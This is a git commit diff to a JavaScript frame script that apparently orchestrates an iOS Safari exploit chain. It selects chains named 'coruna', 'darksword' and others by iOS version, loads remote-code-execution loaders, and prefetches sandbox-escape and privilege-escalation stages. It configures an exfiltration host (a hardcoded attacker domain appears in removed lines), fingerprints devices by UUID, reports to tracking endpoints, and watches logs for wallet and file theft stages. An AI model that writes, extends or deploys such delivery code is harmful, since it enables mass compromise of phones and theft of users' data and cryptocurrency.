feat: ds
This commit is contained in:
+127
-165
@@ -2,10 +2,92 @@
|
||||
'use strict';
|
||||
|
||||
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
|
||||
window.__LAB_CHAIN__ = '';
|
||||
window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || '';
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || '').replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {}
|
||||
try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {}
|
||||
try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {}
|
||||
try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function labChannelCode() {
|
||||
try {
|
||||
if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || '';
|
||||
if (stored) return persistChannelCode(stored);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function assetBase() {
|
||||
try {
|
||||
if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
var cfg = window.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryPath) path = String(cfg.deliveryPath);
|
||||
} catch (e2) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function apiBase() {
|
||||
try {
|
||||
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
if (!ex || !ex.host) return;
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host),
|
||||
domain: hostOnly(ex.domain || ex.host),
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : 80,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : 80,
|
||||
tls: !!ex.tls,
|
||||
prefer_https: !!ex.prefer_https,
|
||||
stats_url: ex.stats_url || '',
|
||||
stats_url_direct: ex.stats_url_direct || '',
|
||||
delivery_stats_url: ex.delivery_stats_url || '',
|
||||
};
|
||||
}
|
||||
|
||||
var _stageQueue = [];
|
||||
var _lastPostedStage = '';
|
||||
function notify(stage, progress, label) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
@@ -18,84 +100,46 @@
|
||||
}, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
enqueueStage(stage, progress, label);
|
||||
}
|
||||
function enqueueStage(stage, progress, label) {
|
||||
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
|
||||
if (key === _lastPostedStage) return;
|
||||
_lastPostedStage = key;
|
||||
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
|
||||
flushStageReports();
|
||||
}
|
||||
function flushStageReports() {
|
||||
var id = '';
|
||||
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
|
||||
if (!id) return;
|
||||
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
|
||||
while (_stageQueue.length) {
|
||||
var item = _stageQueue.shift();
|
||||
try {
|
||||
fetch(apiUrl('/api/ds/log'), {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
|
||||
credentials: 'omit',
|
||||
body: JSON.stringify({
|
||||
deviceUUID: id,
|
||||
stage: item.stage,
|
||||
progress: item.progress,
|
||||
label: item.label,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
channelCode: channel
|
||||
})
|
||||
}).catch(function () {});
|
||||
} catch (eS) {}
|
||||
}
|
||||
}
|
||||
|
||||
labChannelCode();
|
||||
window.__LAB_DELIVERY_HOST__ = assetBase();
|
||||
try {
|
||||
if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil);
|
||||
} catch (eCfg) {}
|
||||
|
||||
var base = assetBase();
|
||||
var api = apiBase();
|
||||
|
||||
notify('boot', STAGE.boot, 'frame_boot');
|
||||
|
||||
if (typeof labEnsureHosts === 'function') labEnsureHosts();
|
||||
var base = (typeof labDeliveryHost === 'function')
|
||||
? labDeliveryHost()
|
||||
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
function apiUrl(path) {
|
||||
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
|
||||
}
|
||||
function assetUrl(path) {
|
||||
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
|
||||
}
|
||||
|
||||
// 記錄 frame.html 載入時間戳
|
||||
console.log('[Frame] Loaded at', new Date().toISOString());
|
||||
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
|
||||
fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {});
|
||||
|
||||
function resolveExfilInline() {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
|
||||
xhr.open('GET', api + '/api/ds/chain-targets', false);
|
||||
xhr.send();
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
var d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
|
||||
else window.__LAB_EXFIL__ = d.exfil;
|
||||
applyExfil(d.exfil);
|
||||
api = apiBase();
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
var h = hostOnly(api || location.hostname);
|
||||
applyExfil({
|
||||
host: h,
|
||||
domain: h,
|
||||
http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
tls: location.protocol === 'https:',
|
||||
prefer_https: false,
|
||||
stats_url: '',
|
||||
stats_url_direct: '',
|
||||
delivery_stats_url: '',
|
||||
};
|
||||
});
|
||||
api = apiBase();
|
||||
}
|
||||
}
|
||||
resolveExfilInline();
|
||||
@@ -114,7 +158,7 @@
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = a[i] || 0, bi = b[i] || 0;
|
||||
var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
@@ -132,7 +176,6 @@
|
||||
function isSilkPathRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
// 17.2.2+ through 18.3 — fills post-Coruna gap
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
@@ -156,19 +199,7 @@
|
||||
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
}
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
function loadChainLoader(onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
@@ -187,14 +218,14 @@
|
||||
var apiPlan = null;
|
||||
try {
|
||||
var xhrPlan = new XMLHttpRequest();
|
||||
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
|
||||
xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false);
|
||||
xhrPlan.send();
|
||||
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
|
||||
apiPlan = JSON.parse(xhrPlan.responseText);
|
||||
if (apiPlan.chain) chain = apiPlan.chain;
|
||||
if (apiPlan.exfil) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
|
||||
else window.__LAB_EXFIL__ = apiPlan.exfil;
|
||||
applyExfil(apiPlan.exfil);
|
||||
api = apiBase();
|
||||
}
|
||||
window.__LAB_BAND__ = apiPlan.band || null;
|
||||
window.__LAB_GATED__ = !!apiPlan.gated;
|
||||
@@ -204,19 +235,16 @@
|
||||
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
|
||||
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
|
||||
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
|
||||
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
|
||||
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
|
||||
}
|
||||
try {
|
||||
var pw = window.__LAB_RECOMMENDED_WORKER__;
|
||||
if (pw) {
|
||||
var l = document.createElement('link');
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw;
|
||||
document.head.appendChild(l);
|
||||
}
|
||||
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
|
||||
var l2=document.createElement('link');
|
||||
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
|
||||
['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) {
|
||||
var l2 = document.createElement('link');
|
||||
l2.rel = 'prefetch'; l2.href = base + '/' + f;
|
||||
document.head.appendChild(l2);
|
||||
});
|
||||
} catch (ePre) {}
|
||||
@@ -257,7 +285,6 @@
|
||||
du = m ? decodeURIComponent(m[1]) : '';
|
||||
} catch (eCk) {}
|
||||
}
|
||||
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
|
||||
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
|
||||
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
|
||||
@@ -267,20 +294,14 @@
|
||||
} catch (e0) {
|
||||
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
|
||||
}
|
||||
window.addEventListener('message', function (ev) {
|
||||
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
|
||||
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
|
||||
try { flushStageReports(); } catch (eF) {}
|
||||
});
|
||||
})();
|
||||
try { flushStageReports(); } catch (eFlush) {}
|
||||
|
||||
(function registerFrameDevice() {
|
||||
try {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
if (!id) return;
|
||||
var iosStr = ios ? ios.join('.') : '';
|
||||
var channel = labChannelCode();
|
||||
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
|
||||
var regBody = JSON.stringify({
|
||||
deviceUUID: id,
|
||||
@@ -289,9 +310,9 @@
|
||||
ios: iosStr,
|
||||
ios_version: iosStr,
|
||||
chain: chain === 'blocked' ? 'out_of_scope' : chain,
|
||||
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
|
||||
channelCode: channel
|
||||
});
|
||||
fetch(apiUrl('/api/ds/device/register'), {
|
||||
fetch(api + '/api/ds/device/register', {
|
||||
method: 'POST',
|
||||
headers: regHeaders,
|
||||
credentials: 'omit',
|
||||
@@ -301,30 +322,25 @@
|
||||
if (canon) {
|
||||
window.__LAB_DEVICE_UUID__ = canon;
|
||||
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (e4) {}
|
||||
if (window.parent && window.parent !== window) {
|
||||
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
|
||||
}
|
||||
}
|
||||
}).catch(function () {});
|
||||
} catch (e) {}
|
||||
})();
|
||||
|
||||
|
||||
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
|
||||
console.log('[Frame] Chain selected:', chain);
|
||||
(function () {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
|
||||
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
|
||||
fetch(apiUrl('/api/ds/log?' + q), {
|
||||
var ch = labChannelCode();
|
||||
if (ch) q += '&channelCode=' + encodeURIComponent(ch);
|
||||
fetch(api + '/api/ds/log?' + q, {
|
||||
method: 'GET',
|
||||
headers: id ? { 'X-Device-UUID': id } : {}
|
||||
}).catch(function () {});
|
||||
})();
|
||||
|
||||
|
||||
function setHold(kind) {
|
||||
try {
|
||||
var ts = String(Date.now());
|
||||
@@ -334,86 +350,32 @@
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
}
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
if (chain === 'coruna') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Prefer full group.html entry when top-level; inside iframe use loader
|
||||
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
|
||||
? window.__LAB_ENTRY__
|
||||
: '/coruna/group.html';
|
||||
try {
|
||||
if (window.top === window) {
|
||||
location.replace(assetUrl(corunaEntry) + (location.search || ''));
|
||||
return;
|
||||
}
|
||||
} catch (eTop) {}
|
||||
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'silkpath') {
|
||||
if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
|
||||
loadScript(base + '/rce_loader.js', function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
|
||||
// reload the page while stage1 is still running (looks like "auto refresh").
|
||||
setHold('rce');
|
||||
} else if (chain === 'coruna' || chain === 'silkpath') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Load plaintext rce_loader.js
|
||||
loadChainLoader(function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else {
|
||||
loadScript(assetUrl('/chain_blocked.js'), function () {
|
||||
notify('loader', STAGE.loader);
|
||||
});
|
||||
notify('loader', STAGE.loader);
|
||||
}
|
||||
|
||||
var _log = console.log;
|
||||
console.log = function () {
|
||||
var msg = Array.prototype.join.call(arguments, ' ');
|
||||
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
|
||||
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
|
||||
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
|
||||
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
|
||||
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
|
||||
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
|
||||
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
|
||||
}
|
||||
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
|
||||
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
|
||||
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
|
||||
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
|
||||
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
return _log.apply(console, arguments);
|
||||
};
|
||||
})();
|
||||
|
||||
Reference in New Issue
Block a user